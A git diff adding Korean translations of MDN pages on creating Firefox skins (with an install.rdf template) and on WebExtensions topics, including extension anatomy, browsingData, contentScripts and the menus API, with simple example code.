스킨이란 전체적인 인터페이스를 바꾸는 것은 아닙니다. 대신 스킨은 인터페이스가 어떻게 보여질지를 정의해주지요. 이미지를 마우스 오른쪽 버튼으로 클릭했을 때 일어나는 일을 바꿀 수는 없지만, 마우스 오른쪽 버튼을 눌렀을 때 보이는 메뉴의 모습은 바꿀 수 있습니다. 예를 들어 파란 바탕에 분홍색 땡땡이 무늬로 바꿀 수도 있겠지요. 파이어폭스의 기능 자체를 바꾸고 싶다면 Chrome을 직접 수정하실 수 있지만, 그에 대한 설명은 이 문서의 범위를 넘어가는 것입니다.

+

시작하기

+ +
+
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa" } ) }}

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html new file mode 100644 index 0000000000..f5add06153 --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html @@ -0,0 +1,44 @@ +--- +title: install.rdf +slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/install.rdf +translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/install.rdf +--- +

다음 내용을 복사하여 빈 텍스트파일에 붙여넣고 "install.rdf"라는 이름으로 저장하세요:

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+  <em:id>{Themes_UUID}</em:id>
+    <em:version>Themes_Version</em:version>
+
+<!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. -->
+
+<em:targetApplication>
+    <Description>
+      <!-- Firefox's UUID -->
+      <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+      <em:minVersion>Min_FF_Version</em:minVersion>
+      <em:maxVersion>Max_FF_Version</em:maxVersion>
+    </Description>
+  </em:targetApplication>
+
+  <!-- Front End MetaData -->
+  <!-- My_Theme -->
+  <em:name>My_Theme</em:name>
+  <em:description>My_Theme</em:description>
+  <em:creator>Your_Name</em:creator>
+  <em:contributor>Contributors_Names</em:contributor>
+  <em:homepageURL>Themes_HomePage</em:homepageURL>
+  <em:updateURL> Url_of_Update_Location </em:updateURL>
+  <em:aboutURL> Url_of_About_Page </em:aboutURL>
+
+  <!-- Front End Integration Hooks (used by Theme Manager)-->
+    <em:internalName>My_Theme</em:internalName>
+  </Description>
+
+</RDF>
+
+

{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/install.rdf" } ) }}

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html new file mode 100644 index 0000000000..db90531d45 --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html @@ -0,0 +1,10 @@ +--- +title: UUID +slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/UUID +translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/UUID +--- +

UUID: Universal Unique Identifier

+

A UUID can be obtained by visiting http://www.famkruithof.net/uuid/uuidgen or by typing "firebot: uuid?" on irc.mozilla.org.

+

See Also

+

Generating_GUIDs

+

{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/UUID" } ) }}

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/index.html b/files/ko/mozilla/add-ons/themes/obsolete/index.html new file mode 100644 index 0000000000..d420b6ebf0 --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/index.html @@ -0,0 +1,10 @@ +--- +title: Obsolete +slug: Mozilla/Add-ons/Themes/Obsolete +tags: + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Add-ons/Themes/Obsolete +--- +

This page collects theme docs that we don't expect will ever be updated, but which we're keeping for the time being as potential source material for updated docs.

+

{{ ListSubPages ("/en-US/Add-ons/Themes/Obsolete", 5) }}

diff --git a/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html new file mode 100644 index 0000000000..1b2d52b0cd --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html @@ -0,0 +1,131 @@ +--- +title: Anatomy of an extension +slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension +translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension +--- +
{{AddonSidebar}}
+ +

확장앱은 배포 및 설치를 위해 패키징 된 파일 모음으로 구성됩니다. 이 아티클은 확장앱에 있을 수 있는 파일들을 빠르게 살펴봅니다.

+ +

manifest.json

+ +

manifest.json 파일은 모든 확장앱이 가져야하는 유일한 파일입니다. 이 파일에는 이름, 버전 및 필요한 권한과 같은 메타정보가 들어 있습니다. 

+ +

또한 확장앱에 포함될 다른 파일들(하단 목록)을 가리킵니다.

+ + + +

+ +

세부 내용: manifest.json 참조.

+ +

manifest에 참조 된 항목 외에도, Extension pages와 해당 페이지의 리소스가 확장앱 번들에 포함될 수 있습니다.

+ +

Background scripts

+ +

확장앱은 종종 특정 웹 페이지나 브라우저 창의 수명과 독립적으로 장기간 상태를 유지하거나 작업을 수행해야 합니다. 그때 필요한 것이 백그라운드 스크립트입니다.

+ +

백그라운드 스크립트는 확장앱이 로드 되자마자 로드되며 확장앱이 다시 비활성화 또는 제거될 때까지 로드된 상태를 유지합니다. 적절한 권한을 요청했다면 이 스크립트에서 WebExtension APIs를 사용할 수 있습니다.

+ +

백그라운드 스크립트 정의

+ +

"manifest.json"에 background 키로 백그라운드 스크립트를 포함할 수 있습니다:

+ +
// manifest.json
+
+"background": {
+  "scripts": ["background-script.js"]
+}
+ +

여러 개의 백그라운드 스크립트를 지정할 수 있습니다: 그 경우 한 웹페이지에서 여러 스크립트들이 실행되듯이 백그라운드 스크립트들이 동일한 context에서 실행됩니다.

+ +

백그라운드 스크립트 환경

+ +

DOM APIs

+ +

백그라운드 스크립트는 background pages라는 특별한 페이지의 context에서 실행됩니다. 이것은 백그라운드 스크립트에 모든 표준 DOM API들을 제공하는 전역 window 객체를 제공합니다.

+ +

background page를 제공할 필요는 없습니다. 백그라운드 스크립트를 추가했다면 빈 background page가 생성됩니다.

+ +

그러나 background page를 별도의 HTML 파일로 제공하도록 선택할 수 있습니다.

+ +
// manifest.json
+
+"background": {
+  "page": "background-page.html"
+}
+ +

WebExtension APIs

+ +

백그라운드 스크립트는 선언된 권한 내의 모든 WebExtension APIs를 사용할 수 있습니다.

+ +

Cross-origin access

+ +

백그라운드 스크립트는 선언된 host 권한 내의 모든 서버(host)에 XHR 요청을 할 수 있습니다.

+ +

Web content

+ +

백그라운드 스크립트는 웹 페이지에 직접 엑세스하지 못합니다. 그러나 웹페이지에 컨텐츠 스크립트를 삽입할 수 있으며 메시지 전달 API를 통해 컨텐츠 스크립트와 통신할 수 있습니다.

+ +

Content security policy

+ +

백그라운드 스크립트eval() 사용과 같이 잠재적으로 위험할 수 있는 특정 작업을 제한합니다. 자세한 내용은 컨텐츠 보안 정책을 참조하십시오.

+ + + +

확장앱은 HTML를 이용하여 다양한 UI를 포함할 수 있습니다.

+ + + +

이러한 각 구성 요소에 대해 HTML 파일을 만들고 manifest.json의 특정 속성에 지정합니다. 이 HTML 파일은 일반 웹 페이지와 마찬가지로 CSS 및 JavaScript 파일이 포함될 수 있습니다. 

+ +

이 페이지들은 모두 Extension pages 유형이며, 일반 웹 페이지와 달리 이 페이지에서 실행되는 javaScript는 권한이 부여된 WebExtension API를 모두 사용할 수 있습니다(백그라운드 스크립트와 동일).
+ {{WebExtAPIRef("runtime.getBackgroundPage()")}}
+ 심지어 위와 같이 background page에서 사용하는 변수에 직접 접근할 수도 있습니다.

+ +

Extension pages

+ +

또한 미리 정의된 UI에 연결되지 않은 HTML 문서를 확장앱에 포함할 수 있습니다. 사이드바, 팝업 또는 옵션 페이지에 제공할 문서와 달리 manifest.json에 이 페이지를 정의하는 항목은 없습니다. 그러나 이 페이지 또한 백그라운드 스크립트와 동일하게 권한이 부여된 WebExtension API에 대한 접근 권한을 가집니다.

+ +

일반적으로 {{WebExtAPIRef("windows.create()")}} 또는 {{WebExtAPIRef("tabs.create()")}}를 사용하여 Extension page를 로드할 수 있습니다.

+ +

세부 내용 : Extension pages 참조.

+ +

Content scripts

+ +

컨텐츠 스크립트를 사용하여 웹 페이지에 접근하고 수정하십시오. 컨텐츠 스크립트는 웹 페이지에 로드되고 해당 페이지의 context에서 실행됩니다.

+ +

컨텐츠 스크립트는 웹 페이지의 context에서 실행되는, 확장앱용 스크립트입니다. 이는 페이지 내의 {{HTMLElement ( "script")}} 요소 등 페이지 자체가 로드하는 스크립트와 다릅니다.

+ +

컨텐츠 스크립트는 웹페이지가 로드하는 일반 스크립트처럼 DOM에 접근 및 조작을 할 수 있습니다.

+ +

일반 페이지 스크립트와 달리 다음 작업을 수행 할 수 있습니다.

+ + + +

컨텐츠 스크립트는 일반 페이지 스크립트에 직접 접근할 수는 없지만 window.postMessage() API를 사용하여 메시지를 교환할 수 있습니다.

+ +

일반적으로 컨텐츠 스크립트는 자바 스크립트를 지칭하지만, 동일한 매커니즘으로 웹 페이지에 CSS를 삽입할 수 있습니다.

+ +

세부내용: content scripts 참조.

+ +

Web accessible resources

+ +

Web accessible resources 확장앱에 포함되어 있고 컨텐츠 스크립트 및 페이지 스크립트에 엑세스할 수 있게 하려는 이미지, HTML, CSS 및 JavaScript와 같은 리소스입니다. 이 리소스는 특수한 URI를 사용하여 페이지 스크립트 및 컨텐츠 스크립트에서 참조할 수 있습니다.

+ +

예를 들어 컨텐츠 스크립트가 일부 이미지를 웹 페이지에 삽입하려는 경우, 확장앱에 포함시키고 web accessible하게 할 수 있습니다. 그러면 컨텐츠 스크립트에서 src 속성을 통해 이미지를 참조하는 img 태그를 만들고 추가할 수 있습니다.

+ +

자세한 내용은 manifest.json의 web_accessible_resources key의 스펙을 확인하세요.

diff --git a/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html b/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html new file mode 100644 index 0000000000..349b6882f3 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html @@ -0,0 +1,115 @@ +--- +title: browsingData +slug: Mozilla/Add-ons/WebExtensions/API/browsingData +translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData +--- +
{{AddonSidebar}}
+ +

WebExtensions 을 통해 사용자가 브라우저를 사용하는 동안 축적된 데이터를 삭제할 수 있는 기능을 제공합니다.

+ +

browsingData API는 브라우징 데이터를 다음과 같은 타입으로 구분합니다:

+ + + +

You can use the {{WebExtAPIRef("browsingData.remove()")}} function to remove any combination of these types. There are also dedicated functions to remove each particular type of data, such as {{WebExtAPIRef("browsingData.removePasswords()", "removePasswords()")}}, {{WebExtAPIRef("browsingData.removeHistory()", "removeHistory()")}} and so on.

+ +

All the browsingData.remove[X]() functions take a {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which you can use to control two further aspects of data removal:

+ + + +

Finally, this API gives you a {{WebExtAPIRef("browsingData.settings()")}} function that gives you the current value of the settings for the browser's built-in "Clear History" feature.

+ +

To use this API you must have the "browsingData" API permission.

+ +

Types

+ +
+
{{WebExtAPIRef("browsingData.DataTypeSet")}}
+
Object used to specify the type of data to remove: for example, history, downloads, passwords, and so on.
+
{{WebExtAPIRef("browsingData.RemovalOptions")}}
+
Object used to specify how far back in time to remove data, and whether to remove data added through normal web browsing, by hosted apps, or by add-ons.
+
+ +

Methods

+ +
+
{{WebExtAPIRef("browsingData.remove()")}}
+
Removes browsing data for the data types specified.
+
{{WebExtAPIRef("browsingData.removeCache()")}}
+
Clears the browser's cache.
+
{{WebExtAPIRef("browsingData.removeCookies()")}}
+
Removes cookies.
+
{{WebExtAPIRef("browsingData.removeDownloads()")}}
+
Removes the list of downloaded files.
+
{{WebExtAPIRef("browsingData.removeFormData()")}}
+
Clears saved form data.
+
{{WebExtAPIRef("browsingData.removeHistory()")}}
+
Clears the browser's history.
+
{{WebExtAPIRef("browsingData.removePasswords()")}}
+
Clears saved passwords.
+
{{WebExtAPIRef("browsingData.removePluginData()")}}
+
Clears data associated with plugins.
+
{{WebExtAPIRef("browsingData.settings()")}}
+
Gets the current value of settings in the browser's "Clear History" feature.
+
+ +

Browser compatibility

+ +

{{Compat("webextensions.api.browsingData", 2)}}

+ + + +

{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.browsingData API.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html b/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html new file mode 100644 index 0000000000..94061c69dc --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html @@ -0,0 +1,38 @@ +--- +title: contentScripts +slug: Mozilla/Add-ons/WebExtensions/API/contentScripts +translation_of: Mozilla/Add-ons/WebExtensions/API/contentScripts +--- +
{{AddonSidebar}}
+ +

이 API는 콘텐츠 스크립트를 등록한다. 등록된 콘텐츠 스크립트는 브라우저가 URL 패턴이 일치하는 페이지에 넣는다.

+ +

이 API는 "content_scripts" manifest.json 키와 아주 비슷하다. 단지,  "content_scripts"로는 설치할 때 정해진 스크립트와 패턴을 바꿀 수 없지만, contentScripts API로는 스크립트의 등록이나 해제가 실행 중에도 가능하다.

+ +

등록할 스크립트, URL 패턴, 그리고 기타 옵션을 정의하는 객체를 인수로 {{WebExtAPIRef("contentScripts.register()")}}을 호출하면, 반환된  Promise는 {{WebExtAPIRef("contentScripts.RegisteredContentScript")}} 객체가 인수인 완료를 수행한다.

+ +

RegisteredContentScriptregister()를 호출해 등록할 스크립트를 담는 객체다. 해제는 객체에 정의된 unregister() 메소드로 할 수 있다. 또한, 스크립트를 등록한 페이지를 없애면 스크립트는 자동으로 해제된다. 예를 들어, background 페이지에서 등록했으면 그것들은 background 페이지가 파괴될 때 자동으로 해제된다. 마찬가지로 사이드바나 팝업에서 등록했으면, 사이드바나 팝업이 닫힐 때 자동으로 해제된다.

+ +

contentScripts API 자체는 권한 없이 사용할 수 있지만, register()에 전달할 패턴에 대해서는 호스트 권한을 가져야 한다.

+ +

자료형

+ +
+
{{WebExtAPIRef("contentScripts.RegisteredContentScript")}}
+
+

{{WebExtAPIRef("contentScripts.register()")}} 함수가 반환하는 객체의 자료형으로 등록된 콘텐츠 스크립트를 표현한다. unregister() 메소드로 스스로를 해제할 수 있다.

+
+
+ +

함수

+ +
+
{{WebExtAPIRef("contentScripts.register()")}}
+
주어진 콘텐츠 스크립트를 등록한다
+
+ +

브라우저 호환성

+ +

{{Compat("webextensions.api.contentScripts", 10, 1)}}

+ +

{{WebExtExamples("h2")}}

diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html new file mode 100644 index 0000000000..d6d933b22e --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html @@ -0,0 +1,95 @@ +--- +title: menus.ContextType +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType +translation_of: Mozilla/Add-ons/WebExtensions/API/menus/ContextType +--- +
{{AddonSidebar()}}
+ +

메뉴 항목이 나타나게 하는 콘텍스트들.

+ +

자료형

+ +

이 자료형의 값은 문자열이다. 항목은 주어진 콘텍스트일 때 표시된다. 가능한 값은:

+ +
+
all
+
'all'은 'bookmark', 'tab' 그리고 'tools_menu'를 뺀 나머지 모든 콘텍스트를 다 나열한 것과 같다.
+
audio
+
audio 요소를 콘텍스트-클릭할 때 적용된다. (역주: 콘텍스트-클릭은 보통 마우스 오른쪽 버튼을 클릭하는 것이다)
+
bookmark
+
툴바나 메뉴에서 북마크 항목을 콘텍스트-클릭할 때 적용된다. 현재 북마크 사이드바나 라이브러리 윈도우 항목에서는 동작하지 않는다. manifest에 "bookmarks" API 권한이 있어야 한다.
+
browser_action
+
브라우저 액션에서 콘텍스트-클릭을 할 때 적용된다. 최대로 추가할 수 있는 최상위 브라우저 액션 콘텍스트 매뉴 항목의 수는 {{WebExtAPIRef("menus.ACTION_MENU_TOP_LEVEL_LIMIT")}}지만 서버메뉴에는 얼마든지 추가할 수 있다.
+
editable
+
편집 가능한 요소, 가령은 textarea를 콘텍스트-클릭할 때 적용된다.
+
frame
+
내포된 iframe을 콘텍스트-클릭할 때 적용된다.
+
image
+
이미지를 콘텍스트-클릭할 때 적용된다.
+
link
+
링크를 콘텍스트-클릭할 때 적용된다.
+
page
+
페이지를 콘텍스트-클릭할 때 적용된다. 단, 페이지의 다른 콘텍스트가 적용되지 않을 때만이다(예를 들면, 클릭이 이미지나 내포된 iframe 또는 링크가 아니여야 한다).
+
page_action
+
페이지 액션을 콘텍스트-클릭할 때 적용된다. 최대로 추가할 수 있는 최상위 페이지 액션 콘텍스트 메뉴 항목의 수는 {{WebExtAPIRef("menus.ACTION_MENU_TOP_LEVEL_LIMIT")}}지만 서버메뉴에는 얼마든지 추가할 수 있다.
+
password
+
password 입력 요소를 콘텍스트-클릭할 때 적용된다.
+
selection
+
페이지 일부가 선택되었을 때 적용된다.
+
tab
+
+

탭을 콘텍스트-클릭할 때 적용된다(specifically, this refers to the tab-strip or other user interface element enabling the user to switch from one browser tab to another, not to the page itself).

+ +

파이어폭스 63부터, 탭에서 메뉴 항목을 클릭하면 그것이 설사 현재탭이 아니더라도 클릭한 탭에 대해 activeTab 권한이 승인된다.

+
+
tools_menu
+
항목은 브라우저 툴바의 메뉴로 추가된다. 주의해야 할 것은 menus 이름공간을 통해 ContextType에 접근해야지 contextMenus 이름공간으로 하면 안된다.
+
video
+
video 요소에 콘텍스트-클릭을 할 때 적용된다.
+
+ +

"launcher"는 지원되지 않는다.

+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.menus.ContextType", 10)}}

+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.contextMenus API. This documentation is derived from context_menus.json in the Chromium code.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html new file mode 100644 index 0000000000..9a053e6639 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html @@ -0,0 +1,212 @@ +--- +title: menus.create() +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/create +translation_of: Mozilla/Add-ons/WebExtensions/API/menus/create +--- +
{{AddonSidebar()}}
+ +

주어진 객체대로 새 메뉴 항목을 만든다.

+ +

이 함수는 다른 비공기 함수들과 달리 promise가 아니라 새 항목의 ID를 반환한다. 성공과 실패에 대한 처리는 필요하면 콜백으로 한다.

+ +

다른 브라우저와의 호환성을 위해, menus 이름공간 뿐 아니라 contextMenus 이름공간으로도 이 메소드를 사용할 수 있다. 하지만 contextMenus로는 툴 메뉴 항목(contexts: ["tools_menu"])은 만들 수 없다.

+ +

문법

+ +
browser.menus.create(
+  createProperties, // object
+  function() {...}  // optional function
+)
+
+ +

매개변수

+ +
+
createProperties
+
object. 새 메뉴 항목의 속성들
+
+
+
checked {{optional_inline}}
+
boolean. checkbox나 radio 항목의 초기값: 선택은 true, 선택이 아니면 false. radio 항목이라면 그룹 중에서 하나만 선택된 것으로 할 수 있다.
+
command {{optional_inline}}
+
+

string. 클릭 했을 때 수행할 동작을 기술한다. 가능한 값은:

+ +
    +
  • "_execute_browser_action": 확장의 브라우저 액션을 클릭한 것처럼 한다. 팝업이 있으면 팝업이 열린다.
  • +
  • "_execute_page_action": 확장의 페이지 액션을 클릭한 것처럼 한다. 팝업이 있으면 팝업이 열린다.
  • +
  • "_execute_sidebar_action": 확장의 사이드바를 연다.
  • +
+ +

항목을 클릭하면 여전히 {{WebExtAPIRef("menus.onClicked")}} 이벤트도 발생한다. 어느게 먼저 인지는 보장되지 않지만 onClicked이 발생하기 전에 명령이 실행될 것이다.

+
+
contexts {{optional_inline}}
+
+

{{WebExtAPIRef('menus.ContextType')}}배열. 메뉴 항목이 표시할 콘텍스트의 배열. 생략되면:

+ +
    +
  • 상위 항목에 콘텍스트가 설정되었으면 그걸 물려받는다.
  • +
  • 아니면, 항목은 ["page"]로 설정된다.
  • +
+
+
documentUrlPatterns {{optional_inline}}
+
string배열. 메뉴 항목의 표시를 URL이 주어진 match patterns과 일치하는 문서로 제한한다. 프레임에도 적용된다.
+
enabled {{optional_inline}}
+
boolean. 메뉴 항목이 사용 가능한지 아닌지를 지정한다. 기본값은 true.
+
icons {{optional_inline}}
+
+

object. One or more custom icons to display next to the item. Custom icons can only be set for items appearing in submenus. This property is an object with one property for each supplied icon: the property's name should include the icon's size in pixels, and path is relative to the icon from the extension's root directory. The browser tries to choose a 16x16 pixel icon for a normal display or a 32x32 pixel icon for a high-density display. To avoid any scaling, you can specify icons like this:

+ +
"icons": {
+      "16": "path/to/geo-16.png",
+      "32": "path/to/geo-32.png"
+    }
+ +

Alternatively, you can specify a single SVG icon, and it will be scaled appropriately:

+ +
"icons": {
+      "16": "path/to/geo.svg"
+    }
+ +
+

Note: The top-level menu item uses the icons specified in the manifest rather than what is specified with this key.

+
+
+
id {{optional_inline}}
+
string. The unique ID to assign to this item. Mandatory for event pages. Cannot be the same as another ID for this extension.
+
onclick {{optional_inline}}
+
function. A function that will be called when the menu item is clicked. Event pages cannot use this: instead, they should register a listener for {{WebExtAPIRef('menus.onClicked')}}.
+
parentId {{optional_inline}}
+
integer or string. The ID of a parent menu item; this makes the item a child of a previously added item. Note: If you have created more than one menu item, then the items will be placed in a submenu. The submenu's parent will be labeled with the name of the extension.
+
targetUrlPatterns {{optional_inline}}
+
string배열. documentUrlPatterns 비슷한데, anchor 태그의 href 속성과 img/audio/video 태그의 src 속성에 기초해 걸러지는 것이다. 여기서 URL scheme는 뭐라도 상관없다. 설사 match pattern으로 보통은 허용되지 않는 것이라도 된다.
+
title {{optional_inline}}
+
+

string. The text to be displayed in the item. Mandatory unless type is "separator".

+ +

You can use "%s" in the string. If you do this in a menu item, and some text is selected in the page when the menu is shown, then the selected text will be interpolated into the title. For example, if title is "Translate '%s' to Pig Latin" and the user selects the word "cool", then activates the menu, then the menu item's title will be: "Translate 'cool' to Pig Latin".

+ +

If the title contains an ampersand "&" then the next character will be used as an access key for the item, and the ampersand will not be displayed. Exceptions to this are:

+ +
    +
  • If the next character is also an ampersand: then a single ampersand will be displayed and no access key will be set. In effect, "&&" is used to display a single ampersand.
  • +
  • If the next characters are the interpolation directive "%s": then the ampersand will not be displayed and no access key will be set.
  • +
  • If the ampersand is the last character in the title: then the ampersand will not be displayed and no access key will be set.
  • +
+ +

Only the first ampersand will be used to set an access key: subsequent ampersands will not be displayed but will not set keys. So "&A and &B" will be shown as "A and B" and set "A" as the access key.

+
+
type {{optional_inline}}
+
{{WebExtAPIRef('menus.ItemType')}}. The type of menu item: "normal", "checkbox", "radio", "separator". Defaults to "normal".
+
visible {{optional_inline}}
+
boolean. Whether the item is shown in the menu. Defaults to true.
+
+
+
callback {{optional_inline}}
+
function. Called when the item has been created. If there were any problems creating the item, details will be available in {{WebExtAPIRef('runtime.lastError')}}.
+
+ +

Return value

+ +

integer or string. The ID of the newly created item.

+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.menus.create", 10)}}

+ +

예제

+ +

이 예제는 페이지에 선택된 텍스트가 있을 때 표시되는 콘텍스트 메뉴 항목을 만든다. 동작은 선택된 텍스트를 콘솔에 로그로 남기는 것이다:

+ +
browser.menus.create({
+  id: "log-selection",
+  title: "Log '%s' to the console",
+  contexts: ["selection"]
+});
+
+browser.menus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "log-selection") {
+    console.log(info.selectionText);
+  }
+});
+ +

이 예제는 두 개의 radio 항목을 추가한다. 선택해서 테두리의 색을 녹색이나 청색으로 할 수 있다. 이 예제는 activeTab 권한이 필요하다.

+ +
function onCreated() {
+  if (browser.runtime.lastError) {
+    console.log("error creating item:" + browser.runtime.lastError);
+  } else {
+    console.log("item created successfully");
+  }
+}
+
+browser.menus.create({
+  id: "radio-green",
+  type: "radio",
+  title: "Make it green",
+  contexts: ["all"],
+  checked: false
+}, onCreated);
+
+browser.menus.create({
+  id: "radio-blue",
+  type: "radio",
+  title: "Make it blue",
+  contexts: ["all"],
+  checked: false
+}, onCreated);
+
+var makeItBlue = 'document.body.style.border = "5px solid blue"';
+var makeItGreen = 'document.body.style.border = "5px solid green"';
+
+browser.menus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "radio-blue") {
+    browser.tabs.executeScript(tab.id, {
+      code: makeItBlue
+    });
+  } else if (info.menuItemId == "radio-green") {
+    browser.tabs.executeScript(tab.id, {
+      code: makeItGreen
+    });
+  }
+});
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.contextMenus API. This documentation is derived from context_menus.json in the Chromium code.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html new file mode 100644 index 0000000000..7cb70b5fa7 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html @@ -0,0 +1,58 @@ +--- +title: menus.getTargetElement() +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement +translation_of: Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement +--- +
{{AddonSidebar}}{{Draft}}
+ +

주어진 targetElementId에 해당하는 요소를 돌려준다.

+ +

이 함수는 오직 클릭된 요소가 있는 문서에서만 동작한다. so everywhere but in the background page.

+ +

문법

+ +
let elem = browser.menus.getTargetElement(targetElementId);
+
+ +

파라메터

+ +
+
targetElementId
+
{{WebExtAPIRef("menus.onClicked")}} 핸들러 또는 {{WebExtAPIRef("menus.onShown")}} 이벤트에 전달된 {{WebExtAPIRef("menus.OnClickData")}} 객체의 속성
+
+ +

반환값

+ +

targetElementId로 참조되는 요소를 반환한다. targetElementId가 유효하지 않으면 null를 반환한다.

+ +

예제

+ +

아래 예제는 인수로 전달된 info.targetElementId 값으로 요소를 구하고, 그것을 지운다. 하지만 getTargetElement는 요소가 있는 문서에서만 동작하므로 문서가 있는 탭에 스크립트를 주입하는 형태로 처리하고 있다. 

+ +
browser.menus.create({
+  title: "Remove element",
+  documentUrlPatterns: ["*://*/*"],
+  contexts: ["audio", "editable", "frame", "image", "link", "page", "password", "video"],
+  onclick(info, tab) {
+    browser.tabs.executeScript(tab.id, {
+      frameId: info.frameId,
+      code: `browser.menus.getTargetElement(${info.targetElementId}).remove();`,
+    });
+  },
+});
+
+ +

{{WebExtExamples}}

+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.menus.getTargetElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html new file mode 100644 index 0000000000..58f5af938b --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html @@ -0,0 +1,183 @@ +--- +title: contextMenus +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus +translation_of: Mozilla/Add-ons/WebExtensions/API/menus +--- +
{{AddonSidebar}}
+ +

브라우저의 메뉴 시스템에 항목을 추가한다.

+ +

이 API는 크롬의 "contextMenus" API를 모델로 했다. 크롬 확장앱이 브라우저의 콘텍스트 메뉴에 항목을 추가하는 API인데, 파이어폭스의 browser.menus API는 여기에 몇 가지 특징을 더했다.

+ +

파이어폭스 55 이전에 이 API의 원래 이름은 contextMenus였고, 지금도 이 이름은 별명으로 유지되므로 다른 브라우저에서도 동작하는 코드를 작성한다면 contextMenus를 사용할 수 있다.

+ +

이 API를 사용하려면 'menus권한이 필요하다. menus 대신에 contextMenus를 사용해도 된다. contextMenus를 사용했으면 API도 browser.contextMenus를 써야 한다.

+ +

콘텐트 스크립트에서는 menus.getTargetElement()만 사용할 수 있다.

+ +

메뉴 항목 만들기

+ +

메뉴 항목을 만들려면 {{WebExtAPIRef("contextMenus.create()")}} 메소드를 호출한다. 인수로 항목의 ID, 종류, 어떤 콘텍스트일 때 표시되는지 등이 포함된 객체를 전달한다.

+ +

항목의 클릭을 처리하려면 {{WebExtAPIRef("contextMenus.onClicked")}} 이벤트에 리스너를 추가한다. 리스너는 상세한 이벤트 정보를 담고 있는{{WebExtAPIRef("contextMenus.OnClickData")}} 객체를 받는다.

+ +

콘텍스트 메뉴는 네 종류다. create()에 주어지는 type 속성으로 지정한다:

+ + + +

메뉴 항목을 하나 이상 만들면 그 항목들은 서버메뉴로 표시되고, 상위메뉴의 라벨은 확장의 이름이 된다. 예를 들어, "Menu demo"라는 확장이 있고, 그것이 두 개의 콘텍스트 메뉴 항목을 추가했다면:

+ +

+ +

아이콘

+ +

"icons" manifest 키로 확장이 아이콘을 가졌으면,  콘텍스트 메뉴 항목은 라벨 옆에 아이콘을 함께 표시한다. 보통의 경우 16x16 픽셀이 표시되고, 고해상도이면 32x32 픽셀의 아이콘이 표시된다.

+ +

+ +

